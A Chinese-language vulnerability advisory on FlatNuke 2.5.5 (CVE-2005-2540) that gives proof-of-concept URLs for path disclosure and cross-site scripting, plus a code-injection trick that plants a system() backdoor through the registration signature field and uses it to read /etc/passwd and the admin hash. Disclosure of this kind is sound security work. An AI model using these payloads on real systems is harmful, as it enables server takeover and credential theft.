首页 -> 安全研究

安全研究

安全漏洞
FlatNuke用户数据任意PHP代码执行漏洞

发布日期:2005-08-08
更新日期:2005-08-08

受影响系统:
FlatNuke FlatNuke 2.5.5
描述:
BUGTRAQ  ID: 14485
CVE(CAN) ID: CVE-2005-2540

FlatNuke是一款内容管理系统。

FlatNuke 2.5.5中存在远程命令执行/跨站脚本/路径泄漏漏洞:

1 路径泄漏:

http://[target]/[path]/themes/butterfly/structure.php

向mod参数提供空字节:
http://[target]/[path]/index.php?mod=/%00/Vecchi_sondaggi

向mod参数提供保留设备名:
http://[target]/[path]/index.php?mod=prn
http://[target]/[path]/index.php?mod=nul
http://[target]/[path]/index.php?mod=aux

2 跨站脚本:
http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script> http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>

3 如果关闭了php.ini中的register_globals,则存在跨站脚本:

http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script> http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script> http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>

4 用户可以向管理员发送新闻,并在消息体中注入恶意的javascript代码。如果管理员打开了发送的新闻的话就会运行javascript:

<script>alert(document.cookie)</script>

5 远程代码执行:

在用户注册时,flatnuke在/forum/users目录中以如下方式创建username.php文件:

<?
#b0d7282f4b6f1e09f69c42f148055b5a
#jimihendrix
#jimihendrix@email.com
#http://www.asite.com
#artist
#whereimfrom
#images/clanbomber.png
#signature
#0
?>

如果调用了这个文件,则不会执行任何程序,用#字符标注行。

但在注册时可以向记录中注入ASCII char(13),因此如果将其放置在签名中,就会得到:

<?
#b0d7282f4b6f1e09f69c42f148055b5a
#jimihendrix
#jimihendrix@email.com
#http://www.asite.com
#artist
#whereimfrom
#images/clanbomber.png
#
signature
#0
?>

现在如果signature是个如下的php指令:

system($HTTP_GET_VARS[command]);

就可以在目标系统上安装后门并执行命令:

列出目录
http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=ls%20-la

查看/etc/passwd文件
http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20/etc/passwd

查看管理员口令MD5哈希
http://[target]/[path_to_flatnuke]/forum/users/[username].php?command=cat%20admin.php

<*来源:rgod (rgod@autistici.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112327238030127&w=2
*>

建议:
厂商补丁:

FlatNuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://flatnuke.sourceforge.net/

浏览次数:4048
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障